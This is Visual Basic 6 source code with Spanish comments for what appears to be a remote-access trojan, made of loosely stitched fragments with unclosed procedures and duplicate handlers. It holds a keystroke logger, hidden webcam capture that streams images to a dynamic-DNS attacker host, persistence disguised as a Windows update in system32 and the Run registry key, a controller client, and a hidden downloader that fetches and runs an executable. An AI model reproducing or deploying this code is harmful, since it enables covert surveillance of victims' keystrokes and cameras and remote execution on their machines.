'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True
 
  Do While bLogEnabled
    snTimer = Timer
   
    Do While (Timer - snTimer) < 0.125
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
   
    iActiveKey = GetActiveKey
   
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
        sChar = Chr$(iActiveKey)
     
        sData = sData & sChar
     
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer.
        '
        Debug.Print sData
       
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop

Private Function webcam()
Clipboard.Clear
SendMessage hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0
hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.hwnd, 0)
If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then
SendMessage hHwnd, WM_CAP_SET_SCALE, True, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEW, True, 0
SendMessage hHwnd, WM_CAP_EDIT_COPY, 0, 0
picCapture.Picture = Clipboard.GetData
SaveClipbrdPicture
End If
PictureView1.OpenPicture ("c:\Image.bmp")
PictureView1.SaveJPEG "C:\Image.jpg", True, 50
archivo0 = FreeFile
fragmento0 = 8192
ruta0 = "c:\Image.jpg"
Open ruta0 For Binary As #archivo0
Do While Not EOF(archivo0)
    lectura = Input(fragmento0, #archivo0)
    S.SendData lectura
    DoEvents
Loop
Close #archivo0
S.SendData "enviofin0"
End Function

Private Function camon()
On Error Resume Next
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
lol = FreeFile
frago = 8192
goblin = "c:\Juaz.bmp"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
SaveClipbrdPicture
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
s.SendData "finalizada"

Sub SaveClipbrdPicture()
  Call SavePicture(Clipboard.GetData(vbCFBitmap), "C:\juaz.bmp")
End Sub

Private Sub s_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
s.GetData datos

'----para la webcam----'
   
If datos = "camon" Then
   camon
   End If


'..................
End Sub

Private Sub S_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim lol As Integer
Dim fileprin As Variant
lol = FreeFile
fileprin = "c:\captura.bmp"
S(Index).GetData dat
Open fileprin For Binary As #lol
Seek #lol, LOF(lol) + 1
Put #lol, , dat
Close #lol
If dat = "finalizada" Then
camm.Timer1.Enabled = True
End If

Private Sub CommandXP7_Click()
On Error Resume Next
Kill ("c:\captura.bmp")
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "camon"
End Sub

 ip = "mihostDEnoIP.no-ip.org"

Private Sub Command1_Click()
On Error Resume Next
WS.LocalPort = Text1.Text
WS.Close
WS.Listen
End Sub

Private Sub Command2_Click()
Unload clienteFRM
End Sub


Private Sub conexion_Timer()
On Error Resume Next
If WS.State = "7" Then
Label1.Caption = "Conectados"
ElseIf WS.State = "0" Then
Label1.Caption = "Desconectados"
End If
End Sub

Private Sub Form_Terminate()
Unload frmPANTALLA
End Sub

Private Sub Form_Unload(Cancel As Integer)
Unload frmPANTALLA
End Sub

Private Sub WebCam_Click()
If WS.State = "7" Then
Load frmPANTALLA
frmPANTALLA.Show
End If
If Not WS.State = "7" Then
Unload frmPANTALLA
End If
End Sub

Private Sub WS_Close()
On Error Resume Next
WS.Close
WS.Listen
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
WS.Close
WS.Accept requestID
Label2.Caption = WS.RemoteHostIP
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos

Open "c:\captura.jpg" For Binary As #1
     Seek #1, LOF(1) + 1
     Put #1, , datos
Close #1
frmPANTALLA.Timer1.Enabled = True

End Sub

Private Sub Command1_Click()
clienteFRM.WS.SendData "comienzo"
End Sub

Private Sub Command2_Click()
clienteFRM.WS.SendData "camstop"
End Sub

Private Sub Command3_Click()
clienteFRM.WS.SendData "eliminar"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
PVV.Picture = LoadPicture("c:\captura.jpg")
End Sub

Dim WithEvents s As CSocketMaster
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const Connect As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
Private datos As String
Private ip As String
Private puerto As Long

Private Sub comprobador_Timer()
On Error Resume Next
If Dir("C:\windowsuupdate\xD.xD") <> "" Then
registro.Enabled = False
Else
registro.Enabled = True
End If
End Sub

Private Sub Form_Load()
Set s = New CSocketMaster
ip = "MIHOSTDENOIP.no-ip.org"
puerto = 4662
s.RemoteHost = ip
s.RemotePort = puerto
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub registro_Timer()
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\winupdate32.exe"
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updates", "C:\Windows\system32\winupdate32.exe"
MkDir "C:\windowsuupdate"
Open "C:\windowsuupdate\xD.xD" For Random As #1
Close #1
registro.Enabled = False
End Sub

Private Sub S_DataArrival(ByVal bytesTotal As Long)
s.GetData datos

   If datos = "comienzo" Then
   camon
   End If
   
   If datos = "eliminar" Then
muere
End If
   
   If datos = "camstop" Then
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
   Kill ("c:\Juazcp.jpg")
   Kill ("c:\captura.jpg")
   End If
    
   End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If Not s.State = 7 Then
s.CloseSck
s.Connect
End If
End Sub
Private Function camon()
On Error Resume Next
lol = FreeFile
frago = 8192
goblin = "c:\Juazcp.jpg"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData
Clipboard.Clear
SavePicture PV.Picture, "c:\" & "Juaz.jpg"
    PictureView1.OpenPicture ("c:\Juaz.jpg")
    If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
    Else
    End If
    Kill ("c:\Juaz.jpg")
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
End Function

Private Function muere()
   On Error Resume Next
   Kill ("c:\Juazcp.jpg")
   Kill ("c:\captura.jpg")
   camon
End Function

Private Sub Timer2_Timer()
Me.Visible = False
End Sub

Function RegWrite(ByVal Path As String, ByVal Value As String)
Dim AA As Object
Set AA = CreateObject("Wscript.Shell")
AA.RegWrite Path, Value, "REG_SZ"
End Function

Dim ejecutar As Long
Dim download As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
Me.Visible = False
download = URLDownloadToFile(0, "http://download.hijackthis.eu/HJTInstall.exe", "c:\ejemplohijackthis.exe", 0, 0)
Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
ejecutar = ShellExecute(Me.hwnd, "Open", "c:\ejemplohijackthis.exe", "", "", 1)
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Unload Me
End Sub